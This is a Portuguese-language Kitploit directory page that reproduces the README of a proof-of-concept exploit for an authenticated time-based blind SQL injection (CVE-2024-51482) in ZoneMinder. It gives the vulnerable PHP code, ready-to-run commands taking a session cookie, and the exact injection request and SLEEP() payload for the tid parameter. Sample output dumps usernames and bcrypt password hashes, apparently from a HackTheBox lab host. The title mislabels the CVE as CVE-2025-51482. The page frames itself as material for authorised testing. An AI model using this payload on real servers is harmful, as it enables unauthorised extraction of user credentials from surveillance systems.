Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-51482 — CVE-2025-51482 POC, Extrair Credenciais de zm.Users | Kitploit
Ferramentas/GitHubGitHub/c0gnit00/cve-2024-51482
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAprendizado e Educação
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC, Extrair Credenciais de zm.Users

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-51482 — Injeção SQL Cega Baseada em Tempo no ZoneMinder

Um exploit de prova de conceito para CVE-2024-51482, uma vulnerabilidade de injeção SQL cega baseada em tempo autenticada no ZoneMinder v1.37. ≤ 1.37.64*.

O script extrai nomes de usuários e hashes de senha da tabela zm.Users usando busca binária (bissecção) sobre um oráculo baseado em SLEEP().


Vulnerabilidade

O manipulador removetag em web/ajax/event.php parametriza com segurança uma consulta DELETE, mas depois interpola diretamente a entrada controlada pelo usuário em um SELECT subsequente:

root@kitploit:~
// Seguro — parametrizado
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerável — interpolação de string
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId vem diretamente de $_REQUEST['tid'] sem sanitização, permitindo injeção através do parâmetro tid.


Requisitos

  • Python 3.8+
  • requests (pip install requests)
  • Um cookie de sessão ZMSESSID válido de uma conta do ZoneMinder autenticada

Uso

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

Argumentos:

  • --url — URL base do ZoneMinder (ex.: http://cctv.htb/zm) (obrigatório)
  • --zmsessid — valor do cookie ZMSESSID (obrigatório)
  • --sleep — segundos de espera para inferência baseada em tempo (padrão: 3)
  • --timeout — tempo limite da requisição em segundos (padrão: sleep + 3)

Exemplos:

root@kitploit:~
# Básico
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Mais rápido em redes de baixa latência
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Tempo limite personalizado
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

Obtendo o Cookie de Sessão

Faça login no ZoneMinder, abra as Ferramentas do Desenvolvedor do navegador (F12) -> Aplicação -> Cookies e copie o valor de ZMSESSID. Alternativamente, intercepte qualquer requisição autenticada no Burp Suite e capture-o do cabeçalho Cookie.


Saída

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

Como Funciona

  1. Linha de base — envia uma requisição limpa tid=1 para medir o tempo de resposta normal.
  2. Confirmação — injeta SLEEP(2) e verifica se a resposta atrasa ≥2 segundos.
  3. Contagem de linhas — busca binária COUNT(*) em zm.Users para descobrir quantas contas existem.
  4. Extração — para cada usuário, busca binária do valor ASCII de cada caractere tanto em Username quanto em Password (~7 requisições por caractere vs. 95 para varredura linear).

Estrutura do payload:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 é necessário porque o DELETE seguro antes do SELECT vulnerável lançaria um erro 500 sem ele, abortando a execução antes que a injeção seja alcançada.


Referências

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

Aviso Legal

Esta ferramenta é apenas para testes de segurança autorizados e pesquisa educacional.
Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema que você não possua.
O autor não assume responsabilidade por uso indevido ou danos causados por este software.

Baixar ferramenta